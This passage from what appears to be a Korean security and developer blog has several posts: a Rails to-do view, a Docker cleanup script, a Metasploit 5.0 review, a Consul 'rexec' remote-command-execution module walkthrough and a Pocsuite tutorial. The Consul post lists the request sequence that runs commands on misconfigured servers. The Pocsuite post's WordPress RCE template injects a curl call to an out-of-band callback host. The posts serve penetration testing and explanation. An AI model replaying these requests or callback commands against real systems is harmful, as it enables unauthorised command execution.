  # 모두 redirect는 이전 페이지로 돌려줍시다.

  def set_list
    @work = Work.find(params[:id])
  end
end

혹시 모르니 index 전체 코드를 같이 첨부합니닷.

index.html.erb 전체 코드
<p id="notice"><%= notice %></p>


<%
  job_success = Array.new
  job_list = Array.new


  @works.each do |work|
    if work.state
      job_success.push(work)
    else
      job_list.push(work)
    end
  end
%>


<%= link_to 'New Work', new_work_path %>
<hr>


<table class="wrapper">
  <tr>
    <td>Detail</td>
    <td>Works</td>
    <td>Success</td>
  </tr>
  <tr>
    <td style="border-right: 1px solid #333333"></td>
    <td>
      <table>
      <% job_list.each do |work| %>
          <tr>
            <td><%= work.title %></td>
            <td><%= work.add_date %></td>
            <td><%= work.modified_date %></td>
            <td><%= link_to 'Show', work %></td>
            <td><%= link_to 'Edit', edit_work_path(work) %></td>
            <td><%= link_to 'Destroy', work, method: :delete, data: { confirm: 'Are you sure?' } %></td>
            <td><%= button_to "Success", updatework_to_success_path, params: {id: work} %></td>
          </tr>
      <% end %>
      </table>
    </td>
    <td>
      <table>
        <% job_success.each do |work| %>
          <tr>
            <td><%= work.title %></td>
            <td><%= work.add_date %></td>
            <td><%= work.modified_date %></td>
            <td><%= link_to 'Show', work %></td>
            <td><%= link_to 'Edit', edit_work_path(work) %></td>
            <td><%= link_to 'Destroy', work, method: :delete, data: { confirm: 'Are you sure?' } %></td>
            <td><%= button_to "Reopen", updatework_to_list_path, params: {id: work} %></td>
          </tr>
        <% end %>
      </table>
    </td>


  </tr>
</table>


자 이제 Success, Reopen 버튼 누를 때 updatework > to_list, to_success 함수 호출로 Work 내 state 값을 업데이트해서 변경이 가능합니다.


API로 추가 연동하기는 개뿔 걍 나중에 할꺼

TODO 인데, 뭔가 작업 리스트를 받아올 수 있는 곳에 API를 사용할 수 있으면 연동해서 Works로 밀어넣어주면, 일부는 자동으로 입입되고, 완료될 것 같습니다.
대충 틀은 나왔으니 이 부분만 추가해서 회사에서 써야겠네요(사실 널린거 받아써도 되는데...)
Share: | Coffee Me:

1/19/2019

Docker Optimization and cleanup script(도커 최적화 하기)

예전에 도커 용량 관련 문제로 한번 고생한적이 있었습니다.
(https://www.hahwul.com/2018/08/docker-no-space-left-on-device-in-macos.html)

도커 자체가 많이 사용할수록 리소스를 엄청쓰는데(물론 VM에 비하면 뭐...) 정기적으로 청소해주면 위에 문제나 용량, 속도 면에서 좀 이득이 되는 부분들이 있습니다.

그래서.. 구글링좀 해서 도커 clean up script 정리해봤습니다. 종종 돌려주시는게 좋아요 :)


크게 이미지, 컨테이터, 네트워크 어댑터를 정리하는 내용입니다.

Clean script

아래 부분 확인하고 별 이상 없을거라 생각도시면 하는거 추천드려요(괜한 이미지 날라갈수도

# clean containers
docker rm $(docker ps -qa --no-trunc --filter "status=exited")

# clean images
docker rmi $(docker images | grep "none" | awk '/ / { print $3 }')

# clean networks
docker network rm $(docker network ls | grep "bridge" | awk '/ / { print $1 }')

# one line(container + images)
docker rm $(docker ps -qa --no-trunc --filter "status=exited");docker rmi $(docker images | grep "none" | awk '/ / { print $3 }');

Clean Images 

우선 images 지우는건 이미지 중에 none 인 항목들만 지웁니다. 이미지를 계속 commit 해서 쓰기 떄문에 none은 쓸데없이 자리 차지하는 경우가 많죠

docker images | grep "none"

docker rmi $(docker images | grep "none" | awk '/ / { print $3 }')

저도 한 4개 정도 지워졌네요.

docker rmi $(docker images | grep "none" | awk '/ / { print $3 }')
Deleted: sha256:9c74ba29229d47f63fc6ad03d7456f56ec85fe16f7d8f76c5a163e86cea82a8f
Deleted: sha256:ffcf5074027640d3ec3bebe56d351854c15e98fb72cd3a1c97f3a1a52541836a
Deleted: sha256:8e7a29744797bdb8ff52137787a836b0df96745e2b33a9e1dbdad6e3ee1835e3
Deleted: sha256:13b657d393c68096809a6c785e2454709b024a73216a5528e9348b9d5d9459f7

Clean Containers

containers는 현재 구동중이지 않은 리스트들도 도커가 가지고 있습니다. 결국은 다 리소스를 차지하는거기 때문에 안쓰는건 지워줍니다.

docker ps -a --filter "status=exited"

docker ps 명령 중 --fileter 옵션이 있는데, 이걸로 종료된 컨데이너들을 찾아줍니다. 그리고 삭제해주시면 됩니다.

docker rm $(docker ps -qa --no-trunc --filter "status=exited")

저의 경우는....

docker rm $(docker ps -qa --no-trunc --filter "status=exited")
20b0afe8f803cee795fc2a0c6108ad3a45fa1d0e3c22cf0966b3f189aa0bf368
c6cdacc0f03085d77af4b2c5b16ef8ed6ff1b3174cae31b2fb4ac1eeed855c33
3a63ed9d5f2c0bbd28b40e39aaef16bff237445ec4b40e89fbf439671c51a7c0
1c08bb07b51fe19aff4199bf272e7805bce7625cf815397f661652861159e00f
f76500ff70c9dbc5c0225b0473d3982b8e22e83ffecbf64d3697450b4648fe4d
e7c988a822ba5e4e2efde653f99ffc3361ee53e3aa4a1e6d31d1f3758f73dadd
a97e99e3f2852cadf6270ef5b1fc82e54ccf0399ec84c4ab4426765850deefd7
0fd0d60052bd2502eac6b353790c30d72ace069bbdc73be27f679a82e9ad4115
9201566aa9d2d852113912fbfde7619b4313a097cfb3e0a3a71b09f00bbd33ec
2ffe9ff1473d804297ba77828b2fea154746cb9303836b0e0039ba5b9c4f6c28
7890a5e5465d560834d52202a09bebcee2638b739484ac22a769c1ba52a3ddbe
879cfa0881cfe706c12ab5124e02032edd7e995ea7735709267a34b65f9c3f91
034eac7a2d2475f0df1d1ef660944284a711fd430092b12bfe8ddaaca359175c
76114d4f781665ae92f24159b8372d0e329d673ceb8d35a062198f26cb0c3b41
044513340cfd7a257ce6d19643b5518f396711a03c527c827b6ef22cd383c528
4571b27cf1eb356485006235995898ea541c3c140fd52ca672b893652889c12f
7b394413f9c024b47140b76daaba5cc6d1eecd8f3c91fcd8b0df8ef32e2f53fe
d7e6d0d13d58c290c545861aaccbacbe7ed0d1656ba413de8e1d395af86241dc
88cf5f0d648b7f199aa1b1d73ecf35bebfbd545b7b2ce96e6f2f706fc7971043
2ac5b0a1621878a05550b102ffc2ecda994b126c603a6a0d32490d667a59bb91
f8d3f27a5ce613ba0237af467751952328c965c53d8fde6f7166937ce404184e
de98522c19396e1656cf1f8a185e5053dc9adc796de842351002d6b014e09e72
fa8361d8f4df7c6e3ea1fc099f37839b08a9cecc4a59f52a44a328ef68e1f622
415344d54e2896f72d76f34e67fe5f23d460c2c2289620a3215058e9c748a199
0b6df45e0183208437f965dfa63ea77d56faecd7eb1dff4a47f3578b1d4ddb8e
6c38b35425d4d9213c2219119f1c6cb5c77d4a4feda2f7a604e8037fbb94cdd4
4eb072ded0b5d4b7cc21527dbdf62c7b51bcbb7f38f6a8171b6a3097cb74a450
83be6ba78de021264a43f6e8acc14bbe56f06f99a4d3d0b65826cce0c8320ad5
6933a196fd9a30393b0e4044f5f8540adda0a8f59f8f1954013ebe86a42d0579
89e0873e5078246c61dd7c790bc182a35a189ed1b2ca6be51565b9da36a22038
02bb84a3c91d2898f506ece7848997716b305f42f3db8fb63a5f90d87c0dd1b6
721fa53f9a0fb13d6753250e7e20cd3e3cc963e7ccfd3e349e37d48404f87624
6d25af19c3d14c408c6645807cd99b6515a354c455c6ae6f3ef22e23bfcddb75
ee77fc609be607273fdfc3c2f6e8e118135145257081bd40b2942c5c52a7757b
5354ab39fe82f5fce816fcdfe4369795a1c07db7c6574f1fb7fa5881c9b985ef
ab4d77f78599ec7d0d6042ece0fe364ff55faa275f174cbd61c39932d7fecaf0
c3cb8ed41003b648a874fbde4acc27985da19f7e96d9eca50d84e2c95e8387fc
40c7181aac867a17930c731089763282a86885e38fada4e2cc63daab949ec895
671f86a6224ee7d8f4cda09e3b55bbed6c7d5938fe6a9d0819c0bf9473978562
6f150b58387f421cd902338077d1b191914c51b9db3e7128dd8d350227f08330
ae0dfe8ecae297547d891cbd2086ea65b21ef4ca52ce76ef81575db22e3f5e67
256a9712498f8c7652f3e8bbc5203a7a382420e0cd3d86e641f4e0889153339b
43d83b4a6b838dbc7bab132a53d19230ee2766a4d36773411fa406cfa4f7a3fd
eeca16e526fc81f799b3eb446f9ca358a1b789fa32eba14c75e80602ba857fe5
0f558f9c4d84c1fb5ebfff93ec6f15461ee1338e02023e1c5b6d5dc5de957948
5a53197108b4133184ed67fbebde2c77a5fcda6a9b379abc887e44524a010104
5de10ee4042994aa21d0fcc357e40845d6feea0e158936684b27d8d547ef4815
3afc89124fc5b55a515d53ee59c8265368efcb4a6720f9c0485198e268f4a4be
9ee5fa668f345623fe16f53da6ab655ec09a984585ac02cbee4028b32e8cc601
20e1b885fea27732bf8b5d967af77849be7fde19a27123dfc250389a8fe4d4cc
2f25af8dd946bbbcdfa7ded706a32b716d8399ea1d526b5ac129d02c56235194
093fe6124e56c2634ecf5fbf2e60029c12f8de094b4e0052b652d19812e650d3
8ff228681d681a1da30a11457f01ab8467219905f0f06818fe2508c3ba23a0b4
1016fc6c75ca7267b7bce6e86f22487451c9b1ebdcd6ea0a34fcac1fb01bc379
3fac014cc4fe3b76f4d47fcf0f5cdeabdc6ce0b4a70e60165e6fc6684ae8acd7
0ab030807d187e1b2815c575be26e8ddaec83506158e2c777a22304661b2d174
49894b99224029eb7b78118979b3c4232ff055b3f0a8172212390a4330f02823
30e83e558110cdb91c5624fc45b449619333f6e0983d63aa33eb584dbe31b0b8
86f90a93fdea18e7e4d44e5025bb960e512e988a12ed476e76e9ab991767b0e0
87090a901a35e780de84aff21b485a3af7878a1ec4f275b56e7a033dfd564857
38486f5aa65283ab20b0f4969290f213f4d6d05f440fffed95c87fa261280c48
b9699fd62508902985e8ea28caa8c2e1c48f600b4e5f36fb64b144d707535278
21d3658f42759f16b9f4a0c15393f74d8bee25899916bbeab9480f8ee64c3f94
dc1b03b97a659e3185ef073d9d48d5ae08e3e0d96085fab41d647a721637828f
9cdea79bf9432e1c7a1c9f678742b4a79d422742ec48dce57cfb00edd6a9527e
a511b38a37551e98a3ed2fb2a4b018dc90d4689db3f4e1e1f1256301067999a0
c4a8d7fc1703f6f70a6b1ad806fbec84b1be84e16d7a9c1f7c9abed0d194c6d2
7fc39c478d3eb962267146bebceffa80edd6587a36a08cd5239730279e97569c
f5792fc56da7f766db47838e41d3e117373993435fd5c4fa0a1ac11c0081e187
77f3dec34aeb6601f68c1d9a7be6b70d9549c5b1bb7ce100e083680821b0f0cf
fe266d5d59a7a81736cdeb0bea4ed623c25660fb17b429889cfd2ebfc9d6d075
cc4d86f42fab70b054a6682e9711af72ba9da21d2543b2473c1afa534f317106
2834ea8aeffaab33ac8a0647501aa56db5c4bf99acbf6a620fc2ac12e3d82921
5bab46292b0eb9d2fd93083454ff6beaa392ed6b1bb9548561e60ead0d31c85d
3618e85ccf892d606cc792bb8d5326da538ac951cab8a193d53c15553d3780f3


2a7bd4c03cff430535dfb688df8244bea1056edef214c8c560fe6548caa344aa
74a551f43fb15653d83f31f1484f4a6c578f2bb5e77f19e0f4f63fb3446404d0
... 생략 ...

ㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋ

Clean Networks adaptor

마지막으로 bridge 네트워크에 대한 삭제인데, 이건 사용하시는거 체크해보고 하는게 좋을듯해요.
안해도 뭐 무방하지만, docker network도 네트워크 인터페이스로 잡히기 떄문에 최적화를 위해선 지워주는게 좋습니닷.

docker network ls | grep "bridge" 

docker network rm $(docker network ls | grep "bridge" | awk '/ / { print $1 }')
Share: | Coffee Me:

1/13/2019

Metasploit-framework 5.0 review

지난 목요일(거의 금요일..) rapid7 블로그에 글이 하나 올라왔습니다. 바로 msf 5.0 즉 major 버전 업데이트에 대한 이야기입니다.

큰 업데이트인만큼 어떤점들이 바뀌는지 살펴보도록 하죠.
(자꾸 급한일이 겹쳐서.. 이제서야 글 쓰네요 ㅜㅜ)

https://blog.rapid7.com/2019/01/10/metasploit-framework-5-0-released/


Rapid7 측에서 이야기한 카테고리는 크게 3가지 입니다.

- DB,  자동화 관련 API 지원
- 탐지 우회 모듈, 라이브러리
- 사용성 개선, exploitation scale

일단.. 업데이트 후 msf 들어가보니 5.0 으로 올라갔네요.

HAHWUL > version
Framework: 5.0.1-dev-
Console  : 5.0.1-dev-

Database and automation APIs

DB에 대한 API 제공인데요, 이 부분은 Metasploit에서 사용하는 PostgreSQL에 대한 RESTful API 제공을 의미합니다.
(헐...만들고 있던건데, 종결을 해버리시네)

기존에 RPC나 API 처리 로직은 Exploit, check 등 기능 위주여서 DB에 대한 직접적인 핸들링은 불가했었습니다. 이를 쉽게 할 수 있도록 지원해주는 형태로 바뀌었네요.
(관련 프로젝트 하시는분들이 있다면 분명 좋아하시겠네요)

다만 아직.. 스펙문서는 찾지 못했습니다. 요건 확인하면 추가하도록 할게요.

Evasion modules and libraries

Evasion modules 관련해선 아래 Pull request 한번 보시는게 좋습니다. 탐지 로직 우회 관련해서 모듈 맏들 수 있는 템플릿? 이 추가됬다고 생각되네요.
(https://github.com/rapid7/metasploit-framework/pull/10759)

추가로 2가지 업데이트가 더 있습니다.

1. metashell
metashell 사용 시 기존에는 background sessions 처리가 불가능 했습니다. 결국 쉘 진입을 하면 쉘을 자르지 않는 이상 msfconsole 쪽으로 넘어갈 수가 없는 상태였죠.
이 부분이 이젠 meterpreter shell 처럼 background 로 넘겨서 동작을 처리할 수 있게 변경된겁니다. 아무래도 meterpreter shell이 기능은 엄청 좋지만 그만큼 간파당하기 쉬울 수 있는 부분을 메꿔주려고 한 것 같단 생각이 드네요.
물론 개인적으로 meterpreter를 좋아해서, 그냥 metashell을 쓸 것 같진 않습니다.

2. 외부 모듈 지원 범위 추가
현재 msf는 ruby로 개발되어 있어서 exploit module 또한 루비 코드로 이루어졌는데요, 이에 대해 python이랑 go lang을 지원한다는 계획이네요. python이야 손에 꼽는 언어니 가야할 길이였었고, go 또한 요즘 사용하는 곳도 많이 늘고 언어 자체도 굉장히 좋기 떄문에 좋은 시너지가 나지 않을까 싶네요.
물론 전 루비스트입니다 :)

Usability improvements and exploitation at scale

마지막으로.. 이 부분에 중요사항은 RHOST에 대한 변경입니다. 원래 metasploit에서 타겟을 지칭하는 값은 RHOST, RHOSTS 2가지가 있습니다.
이 중 RHOSTS는 단수, 다수의 타겟을 지정할 수 있었지만, RHOST는 무조건 단일 개체에 대해서만 지원하던 기능이였죠. 이를 결정하는건 모듈 개발자의 몫이지만, 이게 불편하다는 말이 좀 많았던지라,
이참에 msf core 에서 무조건 rhosts 처럼 쓰이게 수정된 것 같습니다.

원래 "windows/http/easyfilesharing_post" 모듈은 RHOST만 사용하던 모듈이였습니다.
(https://www.hahwul.com/2017/08/mad-metasploit-0x20-remote-exploit.html 에 잘 보면 RHOST임)

지금 들어가서 보면..

HAHWUL exploit(windows/http/easyfilesharing_post) > show options

Module options (exploit/windows/http/easyfilesharing_post):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS                   yes       The target address range or CIDR identifier
   RPORT   80               yes       The target port (TCP)

기본이 RHOSTS로 바뀌었네요. 아주 만족스러운 변화입니다. 이게 불편해서 RHOST를 RHOSTS 처럼 쓸 수 있게 리소스 스크립트를 짜서 쎴었는데, 이제 그런 불편함은 없을 것 같습니다.
Share: | Coffee Me:

1/08/2019

Hashicorp Consul - RCE via Rexec (Metasploit modules)

아침에 출근길에 edb 보던 중 hashicorp에서 제공하는 consul에 대한 metasploit rce 코드가 올라와서 해당 내용으로 글 작성해 봅니다. 독특한 이슈나 임팩트 있는 건은 아니지만, 그냥 관심있는 툴에 나온 부분이라 그냥..그냥그냥 정리해봅니다.

사실 취약점이라기 보단, 설정이 잘못되어 있는 경우 명령 실행이 가능한 케이스인데, msf 에서 exploit 코드로 올려버렸군요.

아주 가볍게 내용 살펴봅시다!

Consul rexec?

Consul은 실행 옵션 중에 Executon 옵션을 포함하고 있습니다. 원래 스펙적인 부분이긴한데, client 앱이나 api를 통해서 명령을 받고 실행할 수 있는 부분인데요,

consul exec

형태로 동작합니다. 자세한건 아래 링크 참고
https://www.consul.io/docs/commands/exec.html

서버에서 사용할 수 있도록 구성된게 rexec인데, 이런 rexec를 consul 서버에상에서 처리하기 위해선 Config의 DisableRemoteExec가 false로 설정되어야 합니다. 아래 api 호출로 consul 서버의 Config를 받아올 수 있는데, 여기서 DisableRemoteExec의 상태를 볼 수 있습니다. (추후 check 기능에서 이 부분만 테스트합니다)

[ Request ]
GET /v1/agent/self HTTP/1.1

[ Response ]
{"Config":{"Datacenter":"krane-dev","NodeName”:”192.168.0.16","NodeID”:"54a1ffba-81ec-5cc0-a4b4-0aa5cddcf3b1","Revision":"e716d1b5f","Server”:
…. 생략…
"DisableRemoteExec”:true}

만약 false인 경우, 우리는 원격지에서 명령 실행이 가능하게 됩니다. 명령 실행이 되는 순서를 보면..

1. _rexec key/value 등록
PUT v1/kv/_rexec/#{sess['ID']}/job?acquire=#{sess['ID’]}

{“Command”:”your_command”, “Wait”:20000

2. 이벤트 등록
PUT v1/event/fire/_rexec

{Prefix:"_rexec”, Session:"#{sess['ID']}”}

3. 트리거
GET v1/kv/_rexec/#{sess['ID']}/?keys=&wait=2000ms

Exploit & Check Metasploit Modules

아직 공식 metasploit-framework update로 올라온건 아니라 edb,mad-metasploit 등에서 따로 받아 적용하셔야 합니다.
(https://github.com/hahwul/mad-metasploit/blob/6e4dd3314cc70d9351e97d218baf6e7ea9a915de/mad-metasploit-archive/exploits/linux/remote/46073.rb)

wget https://raw.githubusercontent.com/hahwul/mad-metasploit/6e4dd3314cc70d9351e97d218baf6e7ea9a915de/mad-metasploit-archive/exploits/linux/remote/46073.rb
cp 46073.rb modules/exploit/hahwul/consul_rexec_exec.rb

이후 options 세팅해주고 테스팅해보면..

HWUL > use hahwul/consul_rexec_exec
HWUL exploit(hahwul/consul_rexec_exec) > show options

Module options (exploit/hahwul/consul_rexec_exec):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   ACL_TOKEN                   no        Consul Agent ACL token
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOST                       yes       The target address
   RPORT      8500             yes       The target port (TCP)
   SRVHOST    0.0.0.0          yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT    8080             yes       The local port to listen on.
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI  /                yes       The base path
   TIMEOUT    20               no        The timeout to use when waiting for the command to trigger
   URIPATH                     no        The URI to use for this exploit (default is random)
   VHOST                       no        HTTP server virtual host


Exploit target:

   Id  Name
   --  ----
   0   Linux


HWUL exploit(hahwul/consul_rexec_exec) > check
[*] 192.168.0.16:8500 - The target is not exploitable.

이렇습니다. 뭐 별거 없으니.. 실제로 해당 모듈은 아까 위에서 이야기드린 DisableRemoteExec 여부를 체크하고 취약이라면 아래 순서로 동작합니다.

PUT v1/session/create

PUT v1/kv/_rexec/#{sess['ID']}/job?acquire=#{sess['ID’]}

{“Command”:”your_command”, “Wait”:20000

PUT v1/event/fire/_rexec

{Prefix:"_rexec”, Session:"#{sess['ID']}”}

GET v1/kv/_rexec/#{sess['ID']}/?keys=&wait=2000ms

Reference

https://www.hashicorp.com/blog/protecting-consul-from-rce-risk-in-specific-configurations
https://www.exploit-db.com/exploits/46073

Share: | Coffee Me:

1/07/2019

apt-get 지정한 패키지만 업그레이드 하기(Upgrade only specified packages)

메모 차 작성해둡니다. apt 패키지 관리자에서 간혹 단일 패키지만 업그레이드가 필요할 때가 있습니다. 보통 설치 명령으로 업그레이드 하란 이야기가 있긴한ㄷ..

apt-get install metasploit-framework


아래와 같이 --only-upgrade 옵션이 제일 좋은듯 합니다.


apt-get --only-upgrade install metasploit-framework
Share: | Coffee Me:

1/04/2019

PocSuite - PoC 코드 테스팅을 체계적으로 쉽게 하자!

knownsec에서 만든 Pocsuite라는 재미있는 툴(+라이브러리)이 있습니다. 활용하기에 따라 테스팅을 많이 편리하게 해줄 수 있는데요,
간략하게 소개해드릴까 합니다.

What is Pocsuite?

Pocsuite는 PoC 코드를 쉽게 테스트하기 위한 툴입니다. 보통 python, ruby 같은 스크립트로 PoC가 공개되곤 하는데, 이를 여러 대상에 대해 체크하고 결과를 확인하기엔 여간 귀찮죠.. 그래서 이 툴은 외부에 공개된 PoC에 코드를 추가하여 한번에 다수의 도메인을 테스트하고 관리할 수 있게 지원해줍니다.  당연히 라이브러리 기반이고 command line 명령을 지원합니다.

How to install & Use? 

아래 git clone 받아서 직접 코드로 실행해도 되지만.. pip로 이미 올라와 있습니다.
https://github.com/knownsec/Pocsuite

pip 통해 설치해줍시다. (requirement.txt엔 정의되진 않았지만 request도 의존합니다. 저건 어지간해선 있으시겠지만 혹시 모르니..)

# pip install pocsuite
# pip install requests

우선 PocSuite는 2가지 모드를 지원합니다. 하나는 command line, 하나는 interactive

[ Command Mode ]
# pocsuite

                              ,--. ,--.
,---. ,---. ,---.,---.,--.,--`--,-'  '-.,---.  {2.0.8-nongit-20190103}
| .-. | .-. | .--(  .-'|  ||  ,--'-.  .-| .-. :
| '-' ' '-' \ `--.-'  `'  ''  |  | |  | \   --.
|  |-' `---' `---`----' `----'`--' `--'  `----'
`--'                                            http://pocsuite.org

[!] legal disclaimer: Usage of pocsuite for attacking targets without prior mutual consent is illegal.

[*] starting at 04:36:34

[04:36:34] [-] No "url" or "urlFile" or "dork" assigned.


[ Interactive Mode ]
# pcs-console

                              ,--. ,--.
,---. ,---. ,---.,---.,--.,--`--,-'  '-.,---.  {2.0.8-nongit-20190103}
| .-. | .-. | .--(  .-'|  ||  ,--'-.  .-| .-. :
| '-' ' '-' \ `--.-'  `'  ''  |  | |  | \   --.
|  |-' `---' `---`----' `----'`--' `--'  `----'
`--'                                            http://pocsuite.org

Pocsuite>
Pocsuite>
Pocsuite>

Interactive Mode Options

Core Commands Menu (help <command> for details)
===============================================
attack          Attack mode, sends exploit payload
back            Move back from the current Interpreter
banner          Display an awesome framework banner
debug           Enter into python debug mode
exit            Exit the current interpre
help            Show help menu
pocadd          Load available poc(s) from a directory or a file
pocdel          Unload specific poc file(s)
poclist         Show all available pocs / task pocs
seebug          Download pocs from seebug with API Token
set             Set key equal to value
show            Show available options / modules
verify          Verify Mode, checks if a vuln exists or not

Command Mode Options

optional arguments:
  -h, --help            Show help message and exit
  --version             Show program's version number and exit
  --update              Update Pocsuite

target:
  -u URL, --url URL     Target URL (e.g. "http://www.targetsite.com/")
  -f URLFILE, --file URLFILE
                        Scan multiple targets given in a textual file
  -r POCFILE            Load POC from a file (e.g. "_0001_cms_sql_inj.py") or directory (e.g. "modules/")

mode:
  --verify              Run poc with verify mode
  --attack              Run poc with attack mode

request:
  --cookie COOKIE       HTTP Cookie header value
  --referer REFERER     HTTP Referer header value
  --user-agent AGENT    HTTP User-Agent header value
  --random-agent        Use randomly selected HTTP User-Agent header value
  --proxy PROXY         Use a proxy to connect to the target URL
  --proxy-cred PROXYCRED
                        Proxy authentication credentials (name:password)
  --timeout TIMEOUT     Seconds to wait before timeout connection (default 30)
  --retry RETRY         Time out retrials times.
  --delay DELAY         Delay between two request of one thread
  --headers HEADERS     Extra headers (e.g. "key1: value1\nkey2: value2")
  --host HOST           Host in HTTP headers.

params:
  --extra-params EXTRA_PARAMS
                        Extra params (e.g. "{username: '***', password: '***'}")

optimization:
  --threads THREADS     Max number of concurrent HTTP(s) requests (default 1)
  --report REPORT       Save a html report to file (e.g. "./report.html")
  --batch BATCH         Automatically choose defaut choice without asking.
  --requires            Check install_requires
  --quiet               Activate quiet mode, working without logger.
  --requires-freeze     Check install_requires after register.

Zoomeye or Seebug:
  --dork DORK           Zoomeye dork used for search.
  --max-page MAX_PAGE   Max page used in ZoomEye API(10 targets/Page).
  --search-type SEARCH_TYPE
                        search type used in ZoomEye API, web or host
  --vul-keyword VULKEYWORD
                        Seebug keyword used for search.
  --ssv-id SSVID        Seebug SSVID number for target PoC.

How to test with Pocsuite

위에 옵션 참고하면서 보심 좋습니다. 주요 옵션은 이렇습니다.

-r : poc file
-u : url
-f : url list file
--verify : 취약 여부만 체크
--attack : 공격

우선 테스트를 위한 PoC 하나를 받아봅시다 (wordpress RCE이고 knownsec이 이미 Pocsuite 포맷으로 구성한 코드입니다. )

# wget https://raw.githubusercontent.com/knownsec/Pocsuite/dev/modules/wordpress_core_4_6_rce.py

# pocsuite -r 123.py -u http://192.168.0.13:3000 --verify

                              ,--. ,--.
,---. ,---. ,---.,---.,--.,--`--,-'  '-.,---.  {2.0.8-nongit-20190103}
| .-. | .-. | .--(  .-'|  ||  ,--'-.  .-| .-. :
| '-' ' '-' \ `--.-'  `'  ''  |  | |  | \   --.
|  |-' `---' `---`----' `----'`--' `--'  `----'
`--'                                            http://pocsuite.org

[!] legal disclaimer: Usage of pocsuite for attacking targets without prior mutual consent is illegal.

[*] starting at 04:49:24

[04:49:24] [*] checking WordPress Core 4.6 - Unauthenticated Remote Code Execution
[04:49:24] [*] poc:'WordPress Core 4.6 - Unauthenticated Remote Code Execution' target:'http://192.168.0.13:3000'

+---------------------------+----------+--------+-----------+---------+--------+
| target-url                | poc-name | poc-id | component | version | status |
+---------------------------+----------+--------+-----------+---------+--------+
| http://192.168.0.13:3000 |   123    | 93077  | WordPress |   4.6   | failed |
+---------------------------+----------+--------+-----------+---------+--------+
success : 0 / 1

[*] shutting down at 04:49:28

이런식으로 정리된 결과를 볼 수 있습니다.

request 관련 옵션을 따로 줄 수 있는데, 활용하면 Custom한 HTTP Request를 생성할 수 있습니다.
  --cookie COOKIE       HTTP Cookie header value
  --referer REFERER     HTTP Referer header value
  --user-agent AGENT    HTTP User-Agent header value
  --random-agent        Use randomly selected HTTP User-Agent header value
  --proxy PROXY         Use a proxy to connect to the target URL
  --proxy-cred PROXYCRED
                        Proxy authentication credentials (name:password)
  --timeout TIMEOUT     Seconds to wait before timeout connection (default 30)
  --retry RETRY         Time out retrials times.
  --delay DELAY         Delay between two request of one thread
  --headers HEADERS     Extra headers (e.g. "key1: value1\nkey2: value2")
  --host HOST           Host in HTTP headers.

인터렉티브도 비슷비슷합니다. msf랑 비슷하고 음.. 그냥 한번 해보심 딱 옵니다..

How to make PoC file for PocSuite

자 그럼 가장 중요한 부분인데요, 일반 PoC 코드를 PocSuite 적용에 대한 부분입니다. pocsuite가 라이브러리 형태로 제공되기 떄문에 python 코드단에서 import하여 사용할 수 있습니다.

from pocsuite.net import req
from pocsuite.poc import POCBase, Output
from pocsuite.utils import register

그다음 가장 중요한 PoC Class를 생성해주고 register() 함수로 PoC를 등록해줍니다.

class TestPOC(POCBase):
    name = ‘PoC 이름 '
    vulID = ’Numbering'
    author = [‘만든이!']
    vulType = 'cmd-exec'
    version = '1.0'    # default version: 1.0
    references = [‘msf module이랑 비슷.. 참조 링크']
    desc = 'PoC에 대한 설명입니다.'

    vulDate = '2013-02-14'
    createDate = '2017-05-03'
    updateDate = '2017-05-04'

    appName = 'WordPress'
    appVersion = '4.6'
    appPowerLink = 'https://wordpress.org'
    samples = ['']

    # verify 시 결과 데이터를 어떻게 줄것인지 정의
    def verify_result(self, flag):
        url = "http://ceye.io/api/record?token=[YOUR CEYE TOKEN]&type=request&filter=wordpress"
        match_string = "wordpress.YOU-CEYE-ACCOUNT.ceye.io/{0}".format(flag)
        try:
            resp = req.get(url, timeout=30)
            if resp.content:
                if match_string in resp.content:
                    return True
        except Exception:
            pass
        return False

    # 실제로 아래 attack, verify가 로직이 들어가는 부분이고
    # 보통의 경우 원래 PoC 코드에서 트리거 시키는 부분을 넣어주 면 될 것 같습니다.

    # attack 모드일 때 동작
    def _attack(self):
        """attack mode"""
        return self._verify()
    # verify 모드일 때 동작
    def _verify(self):
        """verify mode"""
        result = {}
        self.url = self.url + '/wp-login.php?action=lostpassword'
        flag = "".join(random.choice(string.ascii_letters) for _ in xrange(0, 8))
        flag = flag.lower()
        cmd = "/usr/bin/curl wordpress.YOU-CEYE-ACCOUNT.ceye.io/{0}".format(flag)
        resp = send_command(self.url, cmd)
        time.sleep(2)
        if self.verify_result(flag):
            result['VerifyInfo'] = {}
            result['VerifyInfo']['URL'] = self.url
        return self.parse_output(result)

    def parse_output(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('Internet nothing returned')
        return output

# 등록!
register(TestPOC)

길어보일 수 있으나 복잡한건 아닙니다. 기존 PoC 코드에서 실행 부분들(e.g. exploit, run 등등) 등을 뗴어내어서 인자값을 받도록 바꿔주고 class TestPOC(POCBase): 로 class 선언해서 verify. Attack 부분에 해당 부분을 트리거 해주면 됩니다. 위에 description, title등의 부분은 잘 해놓으면 나중에 보기 편리하겠죠.

Reports

output, report 포맷은 3rd party로 툴을 활용할 떄 중요시 보는 부분인데요, 안타깝게도 html 포맷만 지원합니다.. 그래도 결과를 가볍게 주는편이라 파싱하시는데 부담은 없을듯합니다.

  --report REPORT       Save a html report to file (e.g. "./report.html")

<!DOCTYPE html>
<html lang="zh-cn">
    <head>
        <meta charset="utf-8">
        <title></title>
        <style type="text/css">
        caption{padding-top:8px;padding-bottom:8px;color:#777;text-align:left}th{text-align:left}.table{width:100%;max-width:100%;margin-bottom:20px}.table>thead>tr>th,.table>tbody>tr>th,.table>tfoot>tr>th,.table>thead>tr>td,.table>tbody>tr>td,.table>tfoot>tr>td{padding:8px;line-height:1.42857143;vertical-align:top;border-top:1px solid #ddd}.table>thead>tr>th{vertical-align:bottom;border-bottom:2px solid #ddd}.result0{display:none}.result1{}.status{cursor: pointer;}
        </style>
        <script>
            function showDetail(dom){
                parent = dom.parentElement;
                detail = parent.children[1];
                if (detail == undefined){
                    return;
                };
